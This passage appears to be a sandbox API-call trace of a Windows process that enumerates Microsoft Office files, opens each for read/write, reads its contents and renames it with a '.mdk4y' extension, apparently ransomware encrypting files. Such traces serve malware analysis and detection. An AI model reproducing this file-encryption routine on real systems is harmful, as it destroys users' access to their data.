11 [0193.029] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826825900000) returned 1 [0193.030] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x25b80, lpOverlapped=0x0) returned 1 [0193.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826829000000) returned 1 [0193.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826829000000) returned 1 [0193.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.mdk4y")) returned 1 [0193.064] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.064] AreFileApisANSI () returned 1 [0193.064] GetACP () returned 0x4e4 [0193.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PMENURES.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PMENURES.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0193.064] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826829600000) returned 1 [0193.066] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2980, lpOverlapped=0x0) returned 1 [0193.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826834200000) returned 1 [0193.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826834200000) returned 1 [0193.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll.mdk4y")) returned 1 [0193.114] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.114] AreFileApisANSI () returned 1 [0193.114] GetACP () returned 0x4e4 [0193.114] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT.DEV.HXS", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT.DEV.HXSDLL", lpUsedDefaultChar=0x37df4c) returned 16 [0193.114] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826834500000) returned 1 [0193.115] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0193.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826837100000) returned 1 [0193.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826837100000) returned 1 [0193.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.mdk4y")) returned 1 [0193.151] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.151] AreFileApisANSI () returned 1 [0193.151] GetACP () returned 0x4e4 [0193.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT.DEV_COL.HXC", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT.DEV_COL.HXCK", lpUsedDefaultChar=0x37df4c) returned 20 [0193.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838200000) returned 1 [0193.152] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x290, lpOverlapped=0x0) returned 1 [0193.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838300000) returned 1 [0193.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838300000) returned 1 [0193.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.mdk4y")) returned 1 [0193.154] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.154] AreFileApisANSI () returned 1 [0193.154] GetACP () returned 0x4e4 [0193.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT.DEV_COL.HXT", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT.DEV_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 20 [0193.154] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838500000) returned 1 [0193.155] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd4, lpOverlapped=0x0) returned 1 [0193.156] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838600000) returned 1 [0193.156] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838600000) returned 1 [0193.156] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.mdk4y")) returned 1 [0193.157] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.157] AreFileApisANSI () returned 1 [0193.157] GetACP () returned 0x4e4 [0193.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT.DEV_F_COL.HXK", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT.DEV_F_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 22 [0193.157] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838800000) returned 1 [0193.158] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0193.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838800000) returned 1 [0193.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826838900000) returned 1 [0193.159] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.mdk4y")) returned 1 [0193.160] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.160] AreFileApisANSI () returned 1 [0193.160] GetACP () returned 0x4e4 [0193.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT.DEV_K_COL.HXK", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT.DEV_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 22 [0193.160] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826839100000) returned 1 [0193.161] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0193.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826839400000) returned 1 [0193.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826839400000) returned 1 [0193.165] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.mdk4y")) returned 1 [0193.166] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.166] AreFileApisANSI () returned 1 [0193.166] GetACP () returned 0x4e4 [0193.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT.HXS", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT.HXS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 12 [0193.166] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826839600000) returned 1 [0193.166] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0193.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826849400000) returned 1 [0193.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826849400000) returned 1 [0193.327] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.mdk4y")) returned 1 [0193.329] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.329] AreFileApisANSI () returned 1 [0193.329] GetACP () returned 0x4e4 [0193.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT_COL.HXC", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT_COL.HXCOL.HXK", lpUsedDefaultChar=0x37df4c) returned 16 [0193.329] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826856000000) returned 1 [0193.330] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27c, lpOverlapped=0x0) returned 1 [0193.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826856300000) returned 1 [0193.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826856300000) returned 1 [0193.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.mdk4y")) returned 1 [0193.336] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.336] AreFileApisANSI () returned 1 [0193.336] GetACP () returned 0x4e4 [0193.336] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT_COL.HXT", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 16 [0193.337] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826856700000) returned 1 [0193.337] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd0, lpOverlapped=0x0) returned 1 [0193.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826856800000) returned 1 [0193.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826856800000) returned 1 [0193.338] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.mdk4y")) returned 1 [0193.339] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.339] AreFileApisANSI () returned 1 [0193.339] GetACP () returned 0x4e4 [0193.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT_F_COL.HXK", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT_F_COL.HXK.HXK", lpUsedDefaultChar=0x37df4c) returned 18 [0193.339] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826857000000) returned 1 [0193.340] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0193.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826857000000) returned 1 [0193.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826857100000) returned 1 [0193.341] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.mdk4y")) returned 1 [0193.342] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.342] AreFileApisANSI () returned 1 [0193.342] GetACP () returned 0x4e4 [0193.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="POWERPNT_K_COL.HXK", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="POWERPNT_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 18 [0193.342] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826857200000) returned 1 [0193.343] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0193.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826857300000) returned 1 [0193.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826857300000) returned 1 [0193.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.mdk4y")) returned 1 [0193.346] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.346] AreFileApisANSI () returned 1 [0193.346] GetACP () returned 0x4e4 [0193.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PPINTL.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PPINTL.DLL_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 10 [0193.346] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826857600000) returned 1 [0193.346] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0193.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826860300000) returned 1 [0193.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826860300000) returned 1 [0193.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.mdk4y")) returned 1 [0193.382] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.382] AreFileApisANSI () returned 1 [0193.383] GetACP () returned 0x4e4 [0193.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PPINTL.DLL.IDX_DLL", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PPINTL.DLL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 18 [0193.383] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0193.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826861300000) returned 1 [0193.384] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9580, lpOverlapped=0x0) returned 1 [0193.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826865600000) returned 1 [0193.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826865600000) returned 1 [0193.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.mdk4y")) returned 1 [0193.433] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0193.433] AreFileApisANSI () returned 1 [0193.433] GetACP () returned 0x4e4 [0193.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PPINTL.REST.IDX_DLL", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PPINTL.REST.IDX_DLLHXK", lpUsedDefaultChar=0x37df4c) returned 19 [0193.434] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program 